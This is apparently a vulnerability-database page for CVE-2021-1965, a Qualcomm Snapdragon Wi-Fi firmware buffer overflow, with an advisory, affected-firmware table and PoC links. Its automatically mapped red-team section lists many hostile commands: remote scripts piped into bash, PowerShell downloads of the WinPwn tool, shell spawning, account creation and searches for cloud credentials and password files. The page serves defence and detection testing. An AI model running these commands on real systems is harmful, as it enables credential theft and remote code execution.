CVE-2021-1965
Overview
This vulnerability is a buffer overflow caused by insufficient validation of parameter length during the parsing of the MBSSID scan information element (IE) within Qualcomm Snapdragon firmware components. Specifically, the flaw occurs in the code responsible for handling MBSSID scan IE parsing across multiple Snapdragon platforms, including Auto, Compute, Connectivity, Mobile, and Wired Infrastructure and Networking. The absence of proper boundary checks allows crafted input to overwrite memory buffers.
Vulnerability Description
Possible buffer overflow due to lack of parameter length check during MBSSID scan IE parse in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking
Impact
An unauthenticated attacker with network access can exploit this vulnerability by sending a specially crafted MBSSID scan IE to the affected Snapdragon devices, causing a buffer overflow. This may enable arbitrary code execution with elevated privileges, complete compromise of device integrity, or denial of service. The attack requires no user interaction and leverages network-level access, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). The compromise of automotive, compute, mobile, or networking platforms could lead to significant operational disruption and data exposure.
Solution
Qualcomm addressed this vulnerability in their July 2021 product security bulletin available at https://www.qualcomm.com/company/product-security/bulletins/july-2021-bulletin. Users of Snapdragon Auto, Compute, Connectivity, Mobile, and Wired Infrastructure and Networking platforms should apply the firmware updates released therein. The advisory includes specific patch versions for affected firmware (e.g., aqt1000, ar9380, csr8811, ipq4018, ipq4019). Implementing these updates is the recommended remediation step to eliminate the buffer overflow flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a buffer overflow issue linked to the parsing of Management Information Elements (IE) during MBSSID scans in various Qualcomm firmware products. This flaw is primarily due to inadequate checks on the length of parameters, which can lead to memory corruption. When the system processes excessively long input without proper validation, it can overwrite adjacent memory, potentially allowing an attacker to execute arbitrary code. This vulnerability affects a wide range of Qualcomm's hardware, including those used in automotive, computing, connectivity, and mobile devices, indicating a broad attack surface across multiple sectors.
Exploitation of this vulnerability can occur through several attack vectors, particularly in environments where the affected devices are exposed to untrusted networks. An attacker could craft malicious packets that exploit the buffer overflow during the scanning process. For instance, in a scenario where a device is scanning for available networks, an attacker could inject specially crafted packets that exceed the expected length, triggering the overflow. This could lead to remote code execution, allowing the attacker to gain unauthorized access to the device or execute malicious payloads. Furthermore, the widespread use of Qualcomm's technology in consumer electronics and infrastructure makes this vulnerability particularly concerning, as it could be leveraged in mass attacks against numerous devices simultaneously.
The real-world impact of this vulnerability is significant, posing considerable business risks for organizations relying on affected Qualcomm products. If exploited, the vulnerability could lead to unauthorized access to sensitive data, disruption of services, and potential damage to the organization's reputation. For instance, in automotive applications, an attacker could gain control over critical vehicle functions, leading to safety risks for passengers and pedestrians alike. Additionally, the financial implications of a data breach resulting from such an exploit could be substantial, including regulatory fines, loss of customer trust, and costs associated with remediation efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by Qualcomm is essential, as these updates often include patches for known vulnerabilities. Additionally, network security measures such as intrusion detection systems (IDS) can help identify and block malicious traffic attempting to exploit the vulnerability. Organizations should also consider employing application-layer firewalls that can inspect and filter packets based on their content, thereby preventing malformed packets from reaching vulnerable devices. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses in the network and device configurations, allowing for proactive remediation before an exploit occurs.
In conclusion, the buffer overflow vulnerability associated with Qualcomm's firmware represents a critical security concern that can lead to severe consequences if left unaddressed. The potential for exploitation through crafted network packets highlights the need for robust security practices and timely updates. By adopting comprehensive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their assets from potential attacks.
Affected Products (126)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Qualcomm | Aqt1000 Firmware | N/A |
cpe:2.3:o:qualcomm:aqt1000_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ar9380 Firmware | N/A |
cpe:2.3:o:qualcomm:ar9380_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Csr8811 Firmware | N/A |
cpe:2.3:o:qualcomm:csr8811_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq4018 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq4018_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq4019 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq4019_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq4028 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq4028_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq4029 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq4029_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq5010 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq5010_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq5018 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq5018_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq5028 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq5028_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq6000 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq6000_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq6005 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq6005_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq6010 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq6010_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq6018 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq6018_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq6028 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq6028_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq8064 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq8064_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq8065 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq8065_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq8068 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq8068_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq8070 Firmware | N/A |
cpe:2.3:o:qualcomm:ipq8070_firmware:-:*:*:*:*:*:*:*
|
|
|
Qualcomm | Ipq8070a Firmware | N/A |
cpe:2.3:o:qualcomm:ipq8070a_firmware:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sqrtrev/CVE-2021-1965
CVE-2021-1965 WiFi Zero Click RCE Trigger PoC
|
sqrtrev | 3 | 29 | 2022-02-18 | View |
|
foxtrot/CVE-2021-1965
|
foxtrot | 3 | 1 | 2022-02-20 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1965 |
| qualcomm.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.qualcomm.com/company/product-security/bulletins/july-2021-bulletin |